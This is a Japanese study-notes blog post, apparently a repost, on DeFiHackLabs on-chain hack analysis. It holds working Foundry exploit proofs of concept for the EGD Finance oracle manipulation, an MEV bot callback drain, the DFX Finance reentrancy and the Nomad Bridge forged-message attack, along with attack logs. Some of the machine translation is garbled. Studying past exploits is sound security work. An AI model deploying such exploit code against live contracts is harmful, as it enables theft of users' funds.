【ブロックチェーンセキュリティ・オンチェーン分析】オンチェーンセキュリティ分析と関連POC作成

【ブロックチェーンセキュリティ・オンチェーン分析】オンチェーンセキュリティ分析と関連POC作成

PS: この記事は、Github の DeFiHackLabs に関する関連記事を参照しています。リンクはこちらです。非常によく書かれており、そこから多くの恩恵を受けました、どうもありがとうございました。以下は私の勉強中のメモです。

1. ウォームアップ

例として、Etherscanオンライン リアルタイム トランザクションを取り上げます。0x653a4d3d34f51d3e094da1dce87a084b6e4865abd882963eda04b5da42de7ed8

これはapprove契約であり、EtherScan 上のアドレスは次のとおりです。

https://etherscan.io/tx/0x653a4d3d34f51d3e094da1dce87a084b6e4865abd882963eda04b5da42de7ed8

で情報をOverView確認できます。イベントの送信も で確認できます。また、アドレス ( ) 内の情報も変化しています (マイナーとコーラーなど)。Value,Gas,BurntLogsStateBalance

を検索phalconすると、Invocation Flowコール プロセス全体が表示されます。SenderCall、およびその他の情報を連結して表示できますEvent

Uniswap同じブロックトランザクションを使用してもう一度見てください0x1cd5ceda7e2b2d8c66f8c5657f27ef6f35f9e557c8d1532aa88665a37130da84

イーサスキャンは指摘するTransaction Action:Swap 12,716.454883 USDT For 7,118.742245582778486733 UNDEAD On Uniswap V2そして、Internal Txnsコントラクト間のクロス コントラクト コールを取得することによって。

しかし、phalconそれを使って見てみると非常によく、一方でトークンの流れは で、アドレスごとのトークンの変化は で見ることができますFund FlowERC20Balance Changes

その中でInvocation Flow、呼び出しを完全に確認できるだけでなく、DebgLine に入って結果とフィードバックを取得し、JSON関数呼び出しの結果を部分的に確認することもできます。同時に、Step In/Out関数呼び出しのプロセスを表示できます。

同時にDeFi例をtxn示します0x667cb82d993657f2779507a0262c9ed9098f5a387e8ec754b99f6e1d61d92d0bユーザーは、phalconユーザーが USDT の流動性を追加し、CRV を作成したことを明確に確認できます。ただし、現時点ではDebugLineオープンソースがないため、機能は無効です。

また、上記の例をチェックして、どのように動作するCompoundを確認してください内部で何が起こっているかをよりよく視覚化するのにも役立ちます。EtherscanVoteGovernancephalcon


DefiHackLabそれをテストし、同時に操作に慣れてください

forge test --contracts ./src/test/Uniswapv2.sol -vvvv

Gas、およびその他の情報を含む、特定の情報が非常に詳細にリストされることがわかりますdelegateCall

2.オラクル操作POCの価格設定

オラクル マシンは、基本的に、チェーン上のデータを人間 (または機械) で実現したものであり、価格を能動的または受動的にフィードします。コントラクトは、トークン リザーブの比率を計算することによって計算することもできます。

情報を整理する:

  1. トランザクション ID トランザクション ハッシュ
  2. Attacker Address(EOA) 攻撃アドレス (外部)
  3. 攻撃契約アドレス 攻撃契約アドレス
  4. 脆弱性アドレス 脆弱性契約アドレス
  5. 全損 全損
  6. 参照リンク 関連参照リンク
  7. 事後分析のリンク 事後評価レポートのリンク
  8. 脆弱なスニペット関連のコード スニペット
  9. 監査履歴 監査履歴

推奨されるテンプレートは次のとおりです。

 

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "forge-std/Script.sol";

// @KeyInfo - Total Lost : ~999M US$
// Attacker : 0xcafebabe
// Attack Contract : 0xdeadbeef
// Vulnerable Contract : 0xdeadbeef
// Attack Tx : 0x123456789

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xdeadbeef#code

// @Analysis
// Post-mortem : https://www.google.com/
// Twitter Guy : https://www.google.com/
// Hacking God : https://www.google.com/


contract ExploitScript is Script {
    function setUp() public {}

    function run() public {
        vm.startBroadcast();

        
        vm.stopBroadcast();
    }
}

EGD Financeハッシュ化が である例を挙げると、チェーン0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3上で発生しますBSC

解析の流れ

  • 攻撃者は、harvest
  • 2回連続のフラッシュローン、calacuteEDGpriceプライスフィード問題を利用して、

したがって、POC コントラクトは次のようになります。

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~36K US$
// Event : EGD-Finance Hack
// Analysis via https://explorer.phalcon.xyz/tx/bsc/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3
// Attacker : 0xee0221d76504aec40f63ad7e36855eebf5ea5edd
// Attack Contract : 0xc30808d9373093fbfcec9e026457c6a9dab706a7
// Vulnerable Contract : 0x34bd6dba456bc31c2b3393e499fa10bed32a9370 (EGD Staking Proxy Contract)
// Vulnerable Contract : 0x93c175439726797dcee24d08e4ac9164e88e7aee (EDG Staking Logic Contract)
// Attack Tx : https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3

// @Info
// FlashLoan Lending Pool USDT_WBNB : 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE
// FlashLoan Lending Pool EGD_USDT : 0xa361433E409Adac1f87CDF133127585F8a93c67d
// Swap Pancake Router : 0x10ED43C718714eb63d5aA57B78B54704E256024E

// @Analysis
// DefiHackLab : https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/03_write_your_own_poc/

IPancakePair constant USDT_WBNB_LPPool = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
IPancakePair constant EGD_USDT_LPPool = IPancakePair(0xa361433E409Adac1f87CDF133127585F8a93c67d);
IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));

address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;
address constant USDT_ADDRESS = 0x55d398326f99059fF775485246999027B3197955;
address constant EGD_ADDRESS = 0x202b233735bF743FA31abb8f71e641970161bF98;

contract EGDFinanceAttacker is Test { // EOA Simulation

    function setUp() public {
        vm.createSelectFork("bsc",20245522); // Go back to staking time
        
    }

    function testExploit() public {
        Exploit exploit = new Exploit(); 
        console.log("---  Set-up, stake 100 USDT to EGD Finance ---");
        exploit.stake();
        vm.warp(1659914146); // set timestamp for staking reward
        console.log("---  Staking finished ------------------------");

        console.log("---  Starting hacking ------------------------");
        emit log_named_decimal_uint("[Start] Attacker USDT Balance", IERC20(USDT_ADDRESS).balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[INFO] EGD/USDT Price before price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18);
        emit log_named_decimal_uint("[INFO] Current earned reward (EGD token)", IEGD_Finance(EGD_Finance).calculateAll(address(exploit)), 18);

        exploit.harvest();

        console.log("--- Hacking finished  -----------------------");
        emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(USDT_ADDRESS).balanceOf(address(this)), 18);
    }
}

contract Exploit is Test { // Attack Contract
    uint borrowUSDT;
    uint borrowUSDT2;

    function stake() public {
        deal(address(USDT_ADDRESS),address(this),100 ether); // set balance of address of (ERC20) to amount
        IEGD_Finance(EGD_Finance).bond(address(0x659b136c49Da3D9ac48682D02F7BD8806184e218));
        IERC20(USDT_ADDRESS).approve(EGD_Finance,100 ether);
        IEGD_Finance(EGD_Finance).stake(100 ether);
    }

    function harvest() public {
        console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve"); // Description
        borrowUSDT = 2000 ether;
        USDT_WBNB_LPPool.swap(borrowUSDT,0,address(this),"0000");
        console.log("Flashloan[1] : FlashLoan Payable success");
        IERC20(USDT_ADDRESS).transfer(msg.sender,IERC20(USDT_ADDRESS).balanceOf(address(this)));
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        bool isBorrowUSDT = (keccak256(data) == keccak256("0000"));
        if (isBorrowUSDT){
            console.log("Receiving callback for FlashLoad[1]");
            borrowUSDT2 = IERC20(USDT_ADDRESS).balanceOf(address(EGD_USDT_LPPool)) * 9_999_999_925 / 10_000_000_000; //  99.99999925% USDT of EGD_USDT_LPPool reserve To manipulate price
            EGD_USDT_LPPool.swap(0,borrowUSDT2,address(this),"00");
            console.log("FlashLoad[2] payable success");

            console.log("Sweep USDT in pair");
            address[] memory paths = new address[](2);
            paths[0] = EGD_ADDRESS;
            paths[1] = USDT_ADDRESS;
            IERC20(EGD_ADDRESS).approve(address(pancakeRouter),type(uint256).max);
            pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                IERC20(EGD_ADDRESS).balanceOf(address(this)),1,paths,address(this),block.timestamp *2
            );

            IERC20(USDT_ADDRESS).transfer(msg.sender,2010 ether);
        }else{
            console.log("Receiving callback for FlashLoad[2]");
            emit log_named_decimal_uint("[INFO] EGD/USDT Price after price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18);
            emit log_named_decimal_uint("[INFO] Current earned reward (EGD token)", IEGD_Finance(EGD_Finance).calculateAll(address(this)), 18);
            console.log("Claim all EGD Token reward from EGD Finance contract");
            IEGD_Finance(EGD_Finance).claimAllReward();
            emit log_named_decimal_uint("[End] Attacker EGD Balance", IERC20(EGD_ADDRESS).balanceOf(address(this)), 18);
            uint256 swapfee = borrowUSDT2 * 3 / 1000; // Attacker pay 0.3% fee to Pancakeswap
            IERC20(USDT_ADDRESS).transfer(address(EGD_USDT_LPPool), borrowUSDT2 + swapfee);
        }
    }
}

/* -------------------- Interface -------------------- */
interface IEGD_Finance { // Interface needed to interact
    function bond(address invitor) external;
    function stake(uint256 amount) external;
    function calculateAll(address addr) external view returns (uint256);
    function claimAllReward() external;
    function getEGDPrice() external view returns (uint256);
}

3. MEV ボット POC

要約すると、MEV BOT残高が多すぎると同時に、Pair身元の確認がありません。

逆コンパイル後、

function pancakeCall(address varg0, uint256 varg1, uint256 varg2, bytes varg3) public nonPayable { 
    require(msg.data.length - 4 >= 128);
    require(varg0 == varg0);
    require(varg3 <= 0xffffffffffffffff);
    require(4 + varg3 + 31 < msg.data.length);
    require(varg3.length <= 0xffffffffffffffff);
    require(4 + varg3 + varg3.length + 32 <= msg.data.length);
    v0 = new bytes[](varg3.length);
    CALLDATACOPY(v0.data, varg3.data, varg3.length);
    v0[varg3.length] = 0;
    0x10a(v0, varg2, varg1);
}

はいvarg0 = sender、つまり、送信者、真ん中にいるvarg1=amount0真ん中にいるです。(ここでは設定のみを使用しています)、偽造するためです後であるでしょうpairtoken0varg2=amount1pairtoken1token0pair0x10a(v0=varg3,varg2,varg1)

関数をもう一度見てください0x10a

最初に従ってamount0、または選択amount1します(ここでのみ使用)token0token1token0

v5, v6 = address(v3).transfer(address(MEM[varg0.data]), varg1).gas(msg.gas);関数と後でMEM[varg0.data]アクセスする関数具体的なコードがないため、解析を続けるのは困難です。swaptoken1

例を書きましたPOCが、まだまだ足りないところがたくさんあります.例えば、模擬EOA口座は直接受け取らないで、Exploit模擬口座を振替する必要がありますが、無害です.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~140K US$
// Event : MEV BOT (BNB48)
// Analysis via https://explorer.phalcon.xyz/tx/bsc/0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2
// Attacker : 0xee286554f8b315f0560a15b6f085ddad616d0601
// Attack Contract : 0x5cb11ce550a2e6c24ebfc8df86c5757b596e69c1
// Vulnerable Contract : 0x64dd59d6c7f09dc05b472ce5cb961b6e10106e1d (MEV BOT)
// Attack Tx : https://bscscan.com/tx/0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2

// @Info
// Involve USDT, WBNB, BUSD, USDC for MEV_BOT

// @Analysis
// DefiHackLab : https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/04_write_your_own_poc/

address constant USDT_ADDRESS = 0x55d398326f99059fF775485246999027B3197955;
address constant WBNB_ADDRESS = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant BUSD_ADDRESS = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
address constant USDC_ADDRESS = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;

address constant TARGET_MEV = 0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d;

contract MEVBOTAttacker is Test { // EOA Simulation

    function setUp() public {
        vm.createSelectFork("bsc",21297409); // Go back to staking time
    }

    function testExploit() public {
        Exploit exploit = new Exploit();
        emit log_named_decimal_uint("[Start] Attacker USDT Balance", IERC20(USDT_ADDRESS).balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[Start] Attacker WBNB Balance", IERC20(WBNB_ADDRESS).balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[Start] Attacker BUSD Balance", IERC20(BUSD_ADDRESS).balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[Start] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), 18);
        console.log("starting exploiting ...");

        exploit.attack();

        console.log("Ending exploiting ...");
        emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(USDT_ADDRESS).balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[End] Attacker WBNB Balance", IERC20(WBNB_ADDRESS).balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[End] Attacker BUSD Balance", IERC20(BUSD_ADDRESS).balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[End] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), 18);

    }

    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) public {}

}

contract Exploit is Test { // Attack Contract

    address private owner;
    address public token0;
    // address public token1;

    constructor() {
        owner = msg.sender;
        console.log("Exploit Created by %s", owner);
    }

    function attack() public {
        token0 =  USDT_ADDRESS;
        subAttack();
        token0 =  WBNB_ADDRESS;
        subAttack();
        token0 =  BUSD_ADDRESS;
        subAttack();
        token0 =  USDC_ADDRESS;
        subAttack();
    }

    function subAttack() private {
        IBOT(TARGET_MEV).pancakeCall(
            address(this), 
            IERC20(token0).balanceOf(TARGET_MEV),
            0, 
            abi.encodePacked(
                bytes12(0), bytes20(address(owner)), // slot
                bytes32(0), 
                bytes32(0))
        );
    }

    function token1() public returns(address){
        return token0;
    }


}

// interface of MEV
interface IBOT {
    function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}

4. ラグプル分析c

主な分析は、CirculateBUSDプロジェクトの動作ですRugPull送信は0x3475278b4264d4263309020060a1af28d7be02963feaf1a1e97e9830c68834b3. しかし、今日はphalcon予想外に最初にダウンしました。

コールスタックを観察すると、startTradingその中で再度呼び出されている未开源合约. 逆解析すると、通常のトランザクションとトランザクションを区別して残されたバックドアであるdecodeことがわかりました!ifRugpull


5. 再入可能な POC

ETH選択した攻撃はチェーンに対するリエントラント攻撃でDFX Finance、損失は 400 万ドルに達しました。tx Hash = 0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7. etherscanトレースログではERC20、次の結論を導き出すことができます。

1. 攻击合约从其他地址收到了大量通证
2. DFX Finance 似乎收取了手续费
3. 似乎进行了抵押、解压(有质押通证的铸造和销毁)

詳細に分析してみましょう。phalcon

コール スタックを表示します。

  1. 攻撃契約
    1. dfx-xidr (victim contract).viewDeposit 200,000 トークンを入金するために必要なカーブ モーゲージを表示します
    2. フラッシュローン(0x27e843260c71443b4cc8cb6bf226c3f77b9695af途中でマルチサインに0.6%の手数料を支払う)
    3. depositデポジットは、契約の返済に相当するフラッシュ ローンのコールバック関数で使用されます。
    4. フラッシュローン終了後、実施withdraw

例を書いてくださいPOC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~ 4M US$
// Event : DFX-Finance Hack
// Analysis via https://explorer.phalcon.xyz/tx/eth/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7
// Attacker : 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067
// Attack Contract : 0x6cFa86a352339E766FF1cA119c8C40824f41F22D
// Vulnerable Contract : 0x46161158b1947D9149E066d6d31AF1283b2d377C (Curve Contract)
// Attack Tx : https://etherscan.io/tx/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7

// @Info
// Reentrance Attack

// @Analysis
// DefiHackLab : https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/06_write_your_own_poc


address constant TARGET_CURVE = 0x46161158b1947D9149E066d6d31AF1283b2d377C;
address constant XIDR_ADDRESS =  0xebF2096E01455108bAdCbAF86cE30b6e5A72aa52;
address constant USDC_ADDRESS = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address constant dfx_xidr_usdc_v2 = 0x46161158b1947D9149E066d6d31AF1283b2d377C;

contract DFXFinanceHack is Test { // EOA Simulation

    function setUp() public {
        vm.createSelectFork("mainnet",15941700); // Go back before hacking time
        console.log("start with block %d",15941700);
    }

    function testExploit() public {
        console.log("start hacking...");
        emit log_named_decimal_uint("[Start] Attacker XIDR Balance", IERC20(XIDR_ADDRESS).balanceOf(address(this)), 6);
        emit log_named_decimal_uint("[Start] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), 6);
        Exploit exploit = new Exploit();
        exploit.attack();
        console.log("attacking finished");
        emit log_named_decimal_uint("[End] Attacker XIDR Balance", IERC20(XIDR_ADDRESS).balanceOf(address(this)), 6);
        emit log_named_decimal_uint("[End] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), 6);
    }

}

contract Exploit is Test {

    IERC20 xidr = IERC20(XIDR_ADDRESS);
    IERC20 usdc = IERC20(USDC_ADDRESS);
    IERC20 dfx = IERC20(dfx_xidr_usdc_v2);
    ICurve curve = ICurve(TARGET_CURVE);


    address owner;

    constructor() {
        console.log("Exploit Created...");
        owner = msg.sender;
        initToken();
    }

    function initToken() public{
        xidr.approve(address(curve),type(uint256).max);
        usdc.approve(address(curve),type(uint256).max);
        dfx.approve(address(curve),type(uint256).max);
    }

    function attack() public {
        uint[] memory toDeposits = new uint[](2);

        (, toDeposits) = curve.viewDeposit(200000 ether);
        deal(address(xidr), address(this), toDeposits[0] * 8 / 1000);
        deal(address(usdc), address(this), toDeposits[1] * 8 / 1000);
        emit log_named_decimal_uint("[Init] To deposit 200000 us need xidr ", toDeposits[0], 6);
        emit log_named_decimal_uint("[Init] To deposit 200000 us need usdc ", toDeposits[1], 6);
        emit log_named_decimal_uint("[Init] Exploit USDC  Balance", usdc.balanceOf(address(this)), 6);
        emit log_named_decimal_uint("[Init] Exploit XIDR  Balance", xidr.balanceOf(address(this)), 6);
        emit log_named_decimal_uint("[Init] Exploit USDC  Balance", usdc.balanceOf(address(this)), 6);
        
        curve.flash(address(this), toDeposits[0] * 994 / 1000, toDeposits[1] * 994 / 1000, "1");
        emit log_named_decimal_uint("[Flashed] Exploit Dfx  Balance", dfx.balanceOf(address(this)), 18);
        curve.withdraw(dfx.balanceOf(address(this)),type(uint256).max);
        emit log_named_decimal_uint("[Ended] Exploit XIDR  Balance", xidr.balanceOf(address(this)), 6);
        emit log_named_decimal_uint("[End] Exploit USDC  Balance", usdc.balanceOf(address(this)), 6);
        emit log_named_decimal_uint("[End] Exploit Dfx Balance", dfx.balanceOf(address(this)), 18);
        xidr.transfer(owner,xidr.balanceOf(address(this)));
        usdc.transfer(owner,usdc.balanceOf(address(this)));
    }

    function flashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external{
        emit log_named_decimal_uint("[Flashed] Exploit XIDR  Balance", xidr.balanceOf(address(this)), 6);
        emit log_named_decimal_uint("[Flashed] Exploit USDC  Balance", usdc.balanceOf(address(this)), 6);
        curve.deposit(200000 ether, type(uint256).max);
    }

}
/* -------------------- Interface -------------------- */
interface ICurve {
    function viewDeposit(uint256) external view returns (uint256, uint256[] memory);
    function flash(address,uint256,uint256,bytes calldata) external;
    function deposit(uint256,uint256) external;
    function withdraw(uint256,uint256) external;    
}

攻撃ログは次のとおりです。

Logs:
  start with block 15941700
  start hacking...
  [Start] Attacker XIDR Balance: 0.000000
  [Start] Attacker USDC Balance: 0.000000
  Exploit Created...
  [Init] To deposit 200000 us need xidr : 2325581395.325581
  [Init] To deposit 200000 us need usdc : 100000.000000
  [Init] Exploit USDC  Balance: 800.000000
  [Init] Exploit XIDR  Balance: 18604651.162604
  [Init] Exploit USDC  Balance: 800.000000
  [Flashed] Exploit XIDR  Balance: 2330232558.116231
  [Flashed] Exploit USDC  Balance: 100200.000000
  [Flashed] Exploit Dfx  Balance: 387023.837944937241748062
  [Ended] Exploit XIDR  Balance: 2287743564.832102
  [End] Exploit USDC  Balance: 100066.263271
  [End] Exploit Dfx Balance: 0.000000000000000000
  attacking finished
  [End] Attacker XIDR Balance: 2287743564.832102
  [End] Attacker USDC Balance: 100066.263271

攻撃の前にトークンを手動で転送する必要があることがわかります。そうしないと、税金を前払いできないため失敗します。


6. Nomad Bridge ハック POC

クロスチェーンは現在、一般的に次の原則を採用しています。

  1. メッセージ交換 (ハッシュ)
  2. ロックキャスト
  3. 信頼に基づく (CEX、ラップ)
  4. 側鎖

Nomad プロジェクトのクロスチェーンの原則:

在Nomad项目中,利用叫做Replica的合约验证Merkle树结构中的消息, 这个合约在各个链上都有部署。项目中的其他合约都依靠这个合约验证输入的消息。一旦消息被验证,它就会被存储在Merkle树中,并生成一个新的承诺树根,并在随后确认、处理。

クロスチェーン検証スマート コントラクトの関連コードはReplica次のとおりです。

   function process(bytes memory _message) public returns (bool _success) {
       // ensure message was meant for this domain 这里应该使用了Lib
       bytes29 _m = _message.ref(0);
       require(_m.destination() == localDomain, "!destination");
       // ensure message has been proven
       bytes32 _messageHash = _m.keccak();
       require(acceptableRoot(messages[_messageHash]), "!proven"); // 要求该根已被证明
       // check re-entrancy guard
       require(entered == 1, "!reentrant");
       entered = 0; // 手动防止重入
       // update message status as processed
       messages[_messageHash] = LEGACY_STATUS_PROCESSED;
       // call handle function
       IMessageRecipient(_m.recipientAddress()).handle(
           _m.origin(),
           _m.nonce(),
           _m.sender(),
           _m.body().clone()
       );
       // emit process results
       emit Process(_messageHash, true, "");
       // reset re-entrancy guard
       entered = 1;
       // return true
       return true;
   }

問題ないように見えますが、Nomad契約は再びアップグレードされます。

function initialize(
    uint32 _remoteDomain,
    address _updater,
    bytes32 _committedRoot,
    uint256 _optimisticSeconds
) public initializer {
    __NomadBase_initialize(_updater);
    // set storage variables
    entered = 1;
    remoteDomain = _remoteDomain;
    committedRoot = _committedRoot;
    // pre-approve the committed root.
    confirmAt[_committedRoot] = 1;
    _setOptimisticTimeout(_optimisticSeconds);
}

初期化 tx (0x99662dacfb4b963479b159fc43c2b4d048562104fe154a4d0c2519ada72e50bf) では、渡されたのはcommittedRootである0x0000000000000000000000000000000000000000000000000000000000000000ため、存在しない にアクセスするとmessages[_messageHash]acceptableRootゼロ値のチェックが true になるため、パスできます。

上記の原則に基づいて、攻撃 POC を次のように記述できます。

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~ 190M US$
// Event : Nomad Bridge Hack 
// Analysis via https://explorer.phalcon.xyz/tx/eth/0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460
// Attacker : 0xa8c83b1b30291a3a1a118058b5445cc83041cd9d
// Vulnerable Contract : 0x5d94309e5a0090b165fa4181519701637b6daeba (Proxy Contract)
// Vulnerable Contract : 0xb92336759618f55bd0f8313bd843604592e27bd8 (Replica Contract)
// Attack Tx : https://etherscan.io/tx/0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460

// @Info
// Reentrance Attack

// @Analysis
// DefiHackLab : https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/

address constant TARGET_NOMAD = 0x5D94309E5a0090b165FA4181519701637B6DAEBA;
address constant USDC_ADDRESS = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

address constant BRIDGE_ROUTER = 0xD3dfD3eDe74E0DCEBC1AA685e151332857efCe2d;   
address constant ERC20_BRIDGE = 0x88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3;
uint32 constant ETHEREUM = 0x657468;   // "eth"
uint32 constant MOONBEAM = 0x6265616d; // "beam"

contract DFXFinanceHack is Test { // EOA Simulation

    function setUp() public {
        vm.createSelectFork("mainnet",15259100); // Go back before hacking time
        console.log("start with block %d",15259100);
    }

    function testExploit() public {
        console.log("start hacking...");
        emit log_named_decimal_uint("[Start] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), 6);

        uint256 hackAmount = IERC20(USDC_ADDRESS).balanceOf(ERC20_BRIDGE);
        emit log_named_decimal_uint("[Hacking] Victim USDC Balance", hackAmount, 6);

        IBridge(TARGET_NOMAD).process(generateMsg(address(this),USDC_ADDRESS,hackAmount));

        console.log("finish hacking...");
        emit log_named_decimal_uint("[End] Victim USDC Balance", IERC20(USDC_ADDRESS).balanceOf(TARGET_NOMAD), 6);
        emit log_named_decimal_uint("[End] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), 6);
    }

// 任意生成,只要hash不存在就行
    function generateMsg(address to, address token, uint256 amount) internal returns(bytes memory){
        return abi.encodePacked(
           MOONBEAM,                           // Home chain domain
           uint256(uint160(BRIDGE_ROUTER)),    // Sender: bridge
           uint32(0),                          // Dst nonce
           ETHEREUM,                           // Dst chain domain
           uint256(uint160(ERC20_BRIDGE)),     // Recipient (Nomad ERC20 bridge)
           ETHEREUM,                           // Token domain
           uint256(uint160(token)),            // token id (e.g. WBTC)
           uint8(0x3),                         // Type - transfer
           uint256(uint160(to)),        // Recipient of the transfer
           uint256(amount),                    // Amount
           uint256(0)                          // Optional: Token details hash
        );
    }
}


/* -------------------- Interface -------------------- */
interface IBridge {
    function process(bytes memory _message) external returns (bool _success);
}

おすすめ

転載: blog.csdn.net/weixin_43982484/article/details/130326383